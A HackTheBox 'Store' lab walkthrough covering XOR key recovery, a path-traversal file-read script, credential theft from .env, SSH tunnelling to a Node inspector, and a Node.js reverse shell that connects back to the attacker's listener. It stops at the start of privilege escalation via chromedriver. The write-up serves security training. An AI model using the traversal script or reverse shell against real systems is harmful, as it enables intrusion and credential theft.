Store

📅 Last Updated: Nov 08, 2025 14:57 | 📄 Size: 33.0 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Hard | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ nmap -sC -sV -Pn 10.129.238.32 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-06 17:14 UTC
Nmap scan report for 10.129.238.32
Host is up (0.72s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 30:68:b8:a8:f5:47:ca:bf:1a:23:97:d5:4c:77:97:da (ECDSA)
|_  256 3f:83:9f:53:0a:49:db:00:d5:18:85:e9:2f:05:76:dd (ED25519)
5000/tcp open  http    Node.js (Express middleware)
|_http-title: Secure Encrypted Storage - 01001101 01101001 01101100 01101001...
5001/tcp open  http    Node.js (Express middleware)
|_http-title: Secure Encrypted Storage - 01001101 01101001 01101100 01101001...
5002/tcp open  http    Node.js (Express middleware)
|_http-title: Secure Encrypted Storage - 01001101 01101001 01101100 01101001...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.11 seconds

TCP - 5000 Node.js

index page

We can try to upload a file and check it from list file page

Although we can get the upload path, but all the data is encrypted so we can't exploit it by upload vulnerable

I would continue to fuzz the valid web contents

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ ffuf -u http://10.129.238.32:5000/FUZZ -w /usr/share/wordlists/dirb/common.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.238.32:5000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 1161, Words: 91, Lines: 1, Duration: 559ms]
css                     [Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 267ms]
images                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 287ms]
list                    [Status: 200, Size: 771, Words: 43, Lines: 1, Duration: 558ms]
tmp                     [Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 275ms]
upload                  [Status: 200, Size: 807, Words: 53, Lines: 1, Duration: 280ms]
:: Progress: [4614/4614] :: Job [1/1] :: 122 req/sec :: Duration: [0:00:35] :: Errors: 0 ::

tmpseems interesting, maybe it store the uploaded files It worked

At /tmp/test.txt, there’s a file of the same length:

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ cat test.txt 
this is a test
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ cat upload.txt 
<P      E>0Yh\  ]  

Now we can try to guess the encrypted algorithm

Given that the encrypted and plaintext files are the same length, it most likely uses a stream cipher. It might simply be a simple static XOR key. I will experiment with a longer file uploaded from a Python terminal:

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ python3                  
Python 3.13.7 (main, Aug 20 2025, 22:17:40) [GCC 14.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import requests
>>> resp = requests.get('http://10.129.238.32:5000/tmp/wither_rose.png')
>>> enc = resp.content
>>> len(enc)
3895
>>> with open('/home/wither/Desktop/wither_rose.png', 'rb') as f:
...     pt = f.read()
...     
>>> len(pt)
3895

I’ll XOR the plaintext and the ciphertext to get a keystream:

>>> keystream = [c ^ p for c, p in zip(enc, pt)]
>>> keystream[:100]
[72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72]

It certainly looks like a pattern! It’s even all ASCII:

>>> ''.join([chr(x) for x in keystream[:40]])
'Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9z'

Now we can try to verify from another test file

>>> resp = requests.get('http://10.129.238.32:5000/tmp/test.txt')
>>> enc = resp.content
>>> len(enc)
15
>>> ''.join(chr(e ^ k) for e, k in zip(enc, keystream))
'this is a test\n'

It looks like the same key is used for all files.

LFI vulnerable

To check directory traversal, I'll use the "LFI" dictionary from SecLists to examine /tmp and /file, since both directories might read files from the file system. No issues were found with /tmp, but issues were found with /file:

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ feroxbuster -u http://10.129.238.32:5000/file/ -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -s 200
                                                                                                                                                                                
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.238.32:5000/file
 🚩  In-Scope Url          │ 10.129.238.32
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
 👌  Status Codes          │ [200]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET        1l       30w      567c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       22l      186w     5593c http://10.129.238.32:5000/file/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
[####################] - 26s      933/933     0s      found:1       errors:62     
[####################] - 26s      930/930     36/s    http://10.129.238.32:5000/file/        

Now let's try to verify it from browser

We can use the key to decrypt that

>>> from base64 import b64decode
>>> enc = b64decode(b'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')
>>> ''.join(chr(e ^ k) for e, k in zip(enc, keystream))
'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:102:105::/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nsyslog:x:104:111::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:113::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:114::/nonexistent:/usr/sbin/nologin\nsshd:x:109:65534::/run/sshd:/usr/sbin/nologin\npollinate:x:110:1::/var/cache/pollinate:/bin/false\nlandscape:x:111:116::/var/lib/landscape:/usr/sbin/nologin\nfwupd-refresh:x:112:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin\nec2-instance-connect:x:113:65534::/nonexistent:/usr/sbin/nologin\n_chrony:x:114:121:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin\nubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash\nlxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false\ndev:x:1001:1001:,,,:/home/dev:/bin/bash\nsftpuser:x:1002:1002:,,,:/home/sftpuser:/bin/false\n_laurel:x:998:998::/var/log/laurel:/bin/false\n'

We can try to use the python script to help us automatic that

import base64
import re
import requests
import sys
from itertools import cycle


if len(sys.argv) != 3:
    print(f"usage: {sys.argv[0]} <host> <absolute path>")
    sys.exit()

host = sys.argv[1]
enc_path = sys.argv[2].replace('/', '%2f')

try:
    resp = requests.get(f'http://{host}:5000/file/..%2f..%2F..%2F..%2F..%2F..{enc_path}', timeout=0.5)
except requests.exceptions.ReadTimeout:
    print("<File Not Found>")
    sys.exit()
enc_b64 = re.search(
    r'data:application/octet-stream;charset=utf-8;base64,(.+?)"',
    resp.text
).group(1)
enc = base64.b64decode(enc_b64)
pt = ''.join(chr(e^k) for e, k in zip(enc, cycle(b"Hm9zeWC38")))
print(pt)

Now we can enumerate all the files what we want to visit

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ python3 file_read.py 10.129.238.32 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
landscape:x:111:116::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
ec2-instance-connect:x:113:65534::/nonexistent:/usr/sbin/nologin
_chrony:x:114:121:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dev:x:1001:1001:,,,:/home/dev:/bin/bash
sftpuser:x:1002:1002:,,,:/home/sftpuser:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false

Continue using /proc/self/environ to view the environment variables in the current process.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ python3 file_read.py 10.129.238.32 /proc/self/environ | tr '\00' '\n' 
USER=dev
npm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
npm_node_execpath=/usr/bin/node
npm_config_noproxy=
HOME=/home/dev
npm_package_json=/home/dev/projects/store1/package.json
npm_config_userconfig=/home/dev/.npmrc
npm_config_local_prefix=/home/dev/projects/store1
SYSTEMD_EXEC_PID=841
COLOR=0
npm_config_metrics_registry=https://registry.npmjs.org/
LOGNAME=dev
JOURNAL_STREAM=8:6217
npm_config_prefix=/usr/local
npm_config_cache=/home/dev/.npm
npm_config_node_gyp=/usr/share/nodejs/node-gyp/bin/node-gyp.js
PATH=/home/dev/projects/store1/node_modules/.bin:/home/dev/projects/store1/node_modules/.bin:/home/dev/projects/node_modules/.bin:/home/dev/node_modules/.bin:/home/node_modules/.bin:/node_modules/.bin:/usr/share/nodejs/@npmcli/run-script/lib/node-gyp-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
INVOCATION_ID=4abbfc48b5e44622bb0ac38ca33addb7
NODE=/usr/bin/node
LANG=C.UTF-8
npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'
SHELL=/bin/bash
npm_lifecycle_event=watch
npm_config_globalconfig=/etc/npmrc
npm_config_init_module=/home/dev/.npm-init.js
npm_config_globalignorefile=/etc/npmignore
npm_execpath=/usr/share/nodejs/npm/bin/npm-cli.js
PWD=/home/dev/projects/store1
npm_config_global_prefix=/usr/local
npm_command=run-script
INIT_CWD=/home/dev/projects/store1
EDITOR=vi

It runs as a developer user, and npm_lifecycle_script looks like a script that starts a web server, which can be confirmed by reading /proc/self/cmdline.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ python3 file_read.py 10.129.238.32 /proc/self/cmdline | tr '\00' ' ' 
node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js 

Now we can try to review the source code of start.js

require('dotenv').config();
const app = require('./app');

const server = app.listen(process.env.PORT, () => {
  console.log(`Express is running on port ${server.address().port}`);
});

The dotenv package reads environment variables from the .env file in the same directory.

Let's check what is inside

SFTP_URL=sftp://sftpuser:WidK52pWBtWQdcVC@localhost
SECRET=Hm9zeWC38
STORE_HOME=/home/dev/projects/store1
PORT=5000

We can get a credit of sftp, but from nmap output before, I don't think we can't visit the service, so I guess that would be a ssh credit maybe?

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ netexec ssh 10.129.238.32 -u sftpuser -p WidK52pWBtWQdcVC
SSH         10.129.238.32   22     10.129.238.32    [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH         10.129.238.32   22     10.129.238.32    [+] sftpuser:WidK52pWBtWQdcVC  Linux - Shell access!
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ ssh sftpuser@10.129.238.32              
The authenticity of host '10.129.238.32 (10.129.238.32)' can't be established.
ED25519 key fingerprint is SHA256:MwKYyiZT4gAZ35VHTeZ0760cn1Fe7QFCFllCxBST4rA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.238.32' (ED25519) to the list of known hosts.
(sftpuser@10.129.238.32) Password: 
This service allows sftp connections only.
Connection to 10.129.238.32 closed.

The connection was canceled and tip us only sftp connections.

Let's try it

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ sftp sftpuser@10.129.238.32
(sftpuser@10.129.238.32) Password: 
Connected to 10.129.238.32.
sftp> ls
files  
sftp> cd files
sftp> ls
test.txt         wither_rose.png  
sftp> ls -al
drwxr-xr-x    2 1002     1002         4096 Nov  6 06:33 .
drwxr-xr-x    3 root     root         4096 Feb 13  2023 ..
-rw-rw-rw-    1 1002     1002           15 Nov  6 06:33 test.txt
-rw-rw-rw-    1 1002     1002         3895 Nov  6 06:21 wither_rose.png

But nothing interesting here, I can't find any hints.

I would continue to check the key reason why ssh connection canceled, I’ll read /etc/ssh/sshd_config:

/etc/ssh/sshd_config
# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.
Include /etc/ssh/sshd_config.d/*.conf
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key
# Ciphers and keying
#RekeyLimit default none
# Logging
#SyslogFacility AUTH
#LogLevel INFO
# Authentication:
#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
#PubkeyAuthentication yes
# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile     .ssh/authorized_keys .ssh/authorized_keys2
#AuthorizedPrincipalsFile none
#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes
# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication yes
#PermitEmptyPasswords no
# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
KbdInteractiveAuthentication yes
# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no
# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no
# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the KbdInteractiveAuthentication and
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication via KbdInteractiveAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and KbdInteractiveAuthentication to 'no'.
UsePAM yes
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none
# no default banner path
#Banner none
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*
# override default of no subsystems
Subsystem       sftp    /usr/lib/openssh/sftp-server
# Example of overriding settings on a per-user basis
#Match User anoncvs
#       X11Forwarding no
#       AllowTcpForwarding no
#       PermitTTY no
#       ForceCommand cvs server
Match User sftpuser
        ForceCommand internal-sftp
        PasswordAuthentication yes
        ChrootDirectory /var/sftp
        AllowAgentForwarding no
        X11Forwarding no

At the end, it defines the config for the sftpuser. It forces SFTP only for commands, but doesn’t disable AllowTcpForwarding

Tunnel

Now let's tunnel it We have known The web server is running using the command line: node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js. So port 9229 would be our target

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ ssh sftpuser@10.129.238.32 -N -L 9229:127.0.0.1:9229

We can find that WebSockets request was expected

The --inspect flag indicates that V8 Inspector is running and listening on this network interface/port, thus allowing debugging of JS applications.

To interact with it, I’ll open Chromium and go to chrome://inspect. Without the tunnel, it looks like this:

Clicking “inspect” opens a Chromium dev tools window with a limited set of tabs:

There’s a bunch of errors in the console. More importantly, I can run arbitrary JavaScript commands

I’ll grab “node.js #2” from revshells.com and paste it into the console:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/bash", []);
    var client = new net.Socket();
    client.connect(443, "10.10.17.50", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

Or you can try to use vscode to help you get the debug console The detail you can see from xct``youtube vedio https://www.youtube.com/watch?v=jMrkjWD99VA

Then we can get the connection from nc

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.238.32 46772
‍whoami
dev

We can try to upgrade the shell

upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg

Privilege Escalation

In the user’s home directory, inside projects, there are three directories:

dev@store:~/projects$ ls
store1  store2  store3

In /opt there’s a Google Chrome installation:

dev@store:/$ ls opt/google/
chrome
dev@store:/$ ls opt/google/chrome/
MEIPreload                 chrome-sandbox           cron               icudtl.dat                         libqt5_shim.so        nacl_helper            product_logo_16.png   product_logo_32.xpm  v8_context_snapshot.bin
WidevineCdm                chrome_100_percent.pak   default-app-block  libEGL.so                          libvk_swiftshader.so  nacl_helper_bootstrap  product_logo_24.png   product_logo_48.png  vk_swiftshader_icd.json
chrome                     chrome_200_percent.pak   default_apps       libGLESv2.so                       libvulkan.so.1        nacl_irt_x86_64.nexe   product_logo_256.png  product_logo_64.png  xdg-mime
chrome-management-service  chrome_crashpad_handler  google-chrome      liboptimization_guide_internal.so  locales               product_logo_128.png   product_logo_32.png   resources.pak        xdg-settings

This is interesting as it typically on CTF machines shows some kind of automated user. chromedriver is running as root:

dev@store:~$ ps auxww | grep -i chrome
root         737  0.0  0.3 33612408 12800 ?      Ssl  12:07   0:00 /root/chromedriver

By checking the netstate, we can also find something interesting here

dev@store:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9230          0.0.0.0:*               LISTEN      1014/node           
tcp        0      0 127.0.0.1:9231          0.0.0.0:*               LISTEN      1016/node           
tcp        0      0 127.0.0.1:9229          0.0.0.0:*               LISTEN      1025/node           
tcp        0      0 127.0.0.1:9515          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::5002                 :::*                    LISTEN      1016/node           
tcp6       0      0 :::5000                 :::*                    LISTEN      1025/node           
tcp6       0      0 :::5001                 :::*                    LISTEN      1014/node           
tcp6       0      0 ::1:9515                :::*                    LISTEN      -  

127.0.0.1:9515seems like our next target That’s the default Chrome debug port. Fetching it with curl shows a bunch of errors:

dev@store:~$ curl 127.0.0.1:9515 
